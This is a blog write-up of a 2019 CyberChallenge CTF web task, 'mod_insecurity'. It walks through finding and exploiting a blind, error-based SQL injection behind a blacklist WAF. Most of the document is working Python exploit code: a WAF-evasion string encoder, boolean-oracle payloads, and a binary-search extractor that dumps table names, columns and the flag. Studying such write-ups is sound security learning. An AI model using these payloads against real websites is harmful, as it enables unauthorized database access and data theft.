Mod_insecurity ctf writeup - cyberchallenge 2019
This was one of the web challenges for the cyberchallenge CTF that took place in Italy in 2019. I had a lot of fun solving it, and now that I have a personal blog I’m happy to finally share the writeup I wrote for it at the time.
the challenge
mod_insecurity 2.0 is a web application firewall (WAF) module fo the NGINX reverse proxy. It provides automatic SQLi protection using smart heuristics and the latest advancements in machine learning and blockchain technologies. modinsecurity.cyberchallenge.it
By visiting the link, we are presented with a simple ‘SaaS landing page template’, that repeats the same marketing pitch that was in the challenge description. There is also a ‘demo’ section that says:
Demo: You are already running it! Try to attack this page and see all your attempts fail!
And sure enough, at the end of the page there is a contact form. It’s the only interactive element on the website, so it’s clear that we have to use it to perform some kind of sql injection
The form makes a POST request to the same origin, modinsecurity.cyberchallenge.it
,
with a couple of parameters: username, email, phone, and message
Looking for a vulnerability
After a couple of attempts with burp, i managed to trigger the waf by entering
-- 'or 1=1
in one of the form fields
The challenge didn’t provide any backend code, so it was time to formulate an hypothesis on how the backend works.
First, I created a simple python script to automate the form submission, so that all the tests could be easily reproduced and documented with git
import requests
#this triggers the waf
q = " -- ' or 1=1"
url = 'http://modinsecurity.cyberchallenge.it/'
myobj = {
'name': q,
'email': "asd",
'phone': "asdas",
'message': "aasdasd"
}
x = requests.post(url, data = myobj)
print(x.text)
Then after some trial and error, i managed to find a working hypothesis:
The waf has a blacklist of dangerous words, that is tested against each form input.
When an input matches the blacklist (it can be something as simple as --' or 1
)
The error page is returned, and the offending query is logged.
The logging process is the following:
- get the offending forminput data
- replace any
'
with\'
in the data - execute the sql query:
INSERT INTO logs (col1, col2) VALUES (timestampprobably, '$data')
where $data is replaced with the actual forminput data, without a prepared statement. I don’t even have to say that this is the sql injection we were looking for.
Fun fact, not really relevant: inserting a semicolon in the query payload caused an interesting runtime error:
bad result: failed to send query: cannot send query in the current context: 2: nil: nil.
A quick google search reveals the lua library used to write the challenge, and a quick glance at the code shows that it’s just an issue with multi query statements. The error cannot be exploited but it confirms that modinsecurity is indeed a nginx plugin
Exploiting the sql injection
now that we have an sql injection, we need to exploit it. Unfortunately, the only output that we can get from the backend is sql error codes, without any description.
After some considerations, i decided to try a boolean-based injection, using the returned sql error codes:
#this payload returns an error 1048: column can't be null
#only if the condition inside the if is true
a = "if(1=1, null, char(43))"
q= f"asd\\' LIKE {a} ) -- ' or 1=1 "
# An example in practice
a="(select CHAR(45) from information_schema.tables limit 70,1)"
q= f"asd\\' LIKE {a} ) -- ' or 1=1 "
#returns error 1048 if the query defined in 'a' didn't return any row
With this confirmed working, finding the flag is just a matter of writing some sql queries and some boilerplate code that will help us with the binary search.
Let’s start from the boilerplate code:
def S(string):
""" turns a string into a quoteless string that bypasses waf rules """
return "CONCAT("+charify(string)+")"
def charify(string):
string_without_first_char = string[1:]
first_char = string[0]
result = "CHAR({})".format(ord(first_char))
for c in string_without_first_char:
result += ",CHAR({})".format(ord(c))
return result
def query(query):
""" Execute a sql query
return the sql error, or 0 if none was generated
1048: cant be null
1064: syntax error
0: no sql error returned
"""
url = 'http://modinsecurity.cyberchallenge.it/'
myobj = {'name': '', 'email': '', 'phone': query, 'message': ''}
x = requests.post(url, data = myobj)
if "MySQL Error" in x.text:
errline = x.text.split("\n")[0]
errCode = errline.split(" ")[-1][0:4]
return errCode
return "0"
def binsearch(binTest):
""" Decorator function, that facilitates binary serch queries
@argument: a function(char givenChar, int givenPosition) that must execute
a query and return true if the char at the given position
is < of the given char
@returns: a function(int startIndex=0) that will execute a binary search,
printing the result in real time
"""
def retFunc(startIndex=0):
def binWalk(i):
span = []
for c in range(ord(','), ord('}')+1):
span.append(chr(c))
while len(span) >= 2:
middle = len(span)//2
if binTest(span[middle], i):
span = span[:middle]
else:
span = span[middle:]
return span[0]
res = ""
retCommaCount = 0
i = startIndex
while retCommaCount < 5:
i += 1
print("searching letter ant index ", i)
resC = binWalk(i)
if resC == ",":
retCommaCount += 1
else:
retCommaCount = 0
res += resC
print("==found== ",res)
return retFunc
Yes, this is a lot of boilerplate code, and yes this is painful to read. But it’s stuff i wrote long ago, and hey it works. You’ll see why this is useful in the next paragraph
Getting the tables
Now, let’s move to our first query. The goal is to enumerate all the tables in the database. This is normally done with this query
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_TYPE = 'BASE TABLE'
whose output normally looks like this:
TABLE_NAME |
---|
”table1" |
"table2” |
Now, since we can only get a binary answer from our query, and this table is clearly not a binary answer, we need to apply some modifications.
Let’s start by adding group_concat:
SELECT group_concat(TABLE_NAME) FROM information_schema.tables WHERE TABLE_TYPE = 'BASE TABLE'
This functions concatenates all the rows in a query result into a single string, separating each value with a comma
TABLE_NAME |
---|
”table1,table2” |
Cool. Now we want to select a single letter from that string. We can use the SUBSTRING function for that: the second argument specifies at what index we want to select the character. In this specific example it’s set to 2, so the second character in the string is returned (careful, indexes start at 1)
SELECT SUBSTRING(group_concat(TABLE_NAME), 2, 1) FROM information_schema.tables WHERE TABLE_TYPE = 'BASE TABLE'
TABLE_NAME |
---|
”a” |
Now we need to execute this query for every single letter in the string, comparing the returned character against the ascii charset in a binary search. This is where the boilerplate code i wrote gets useful
from boilerplate import S, query, binsearch
@binsearch
def get_all_tables(confront_char, positionInString):
confront_char = ord(confront_char) #use for binary sarch
get_char = f"(SELECT ORD(SUBSTRING(group_concat(TABLE_NAME), {positionInString},1)) FROM INFORMATION_SCHEMA.tables where TABLE_TYPE = {S('BASE TABLE')} )"
boolean_oracle = f"if(( {get_char} < {confront_char} ), char(43), null)"
q= f"asd\\' LIKE {boolean_oracle} ) -- ' or 1=1 "
ret = query(q, False)
return ret == "0"
get_all_tables()
When executed, this outputs the name of the tables in the database:
Logs, Settings
Getting the table schema
A small change to the previous function allows us to retrieve the columns in both tables
from boilerplate import S, query, binsearch
@binsearch
def get_columns(confront_char, positionInString):
confront_char = ord(confront_char) #use for binary sarch
tableName = S('Logs')
get_char = f"(SELECT ord(SUBSTRING(group_concat(COLUMN_NAME), {positionInString}, 1)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = {tableName})"
boolean_oracle = f"if(( {get_char} < {confront_char} ), char(43), null)"
q= f"asd\\' LIKE {boolean_oracle} ) -- ' or 1=1 "
ret = query(q, False)
return ret == "0"
get_columns()
This reveals that the columns in Settings are s_key, s_value
and the columns in Logs are id,tstamp,ipaddr,payload
Getting the flag
The settings table looks interesting, let’s read its content:
from boilerplate import S, query, binsearch
@binsearch
def get_content(confront_char, positionInString):
confront_char = ord(confront_char) #use for binary sarch
get_char = f"(SELECT ord(SUBSTRING(group_concat(s_value), {positionInString}, 1)) FROM Settings)"
boolean_oracle = f"if(( {get_char} < {confront_char} ), char(43), null)"
q= f"asd\\' LIKE {boolean_oracle} ) -- ' or 1=1 "
ret = query(q, False)
return ret == "0"
get_content()
This reveals the content of the column s_key:
mod_insecurity_app_token, mod_insecurity_license
Applying the same search for the s_value column finally reveals the flag
ccit{Be435b52CE33SWPG83SH5xRfr3oHialL},sD9Gq97Q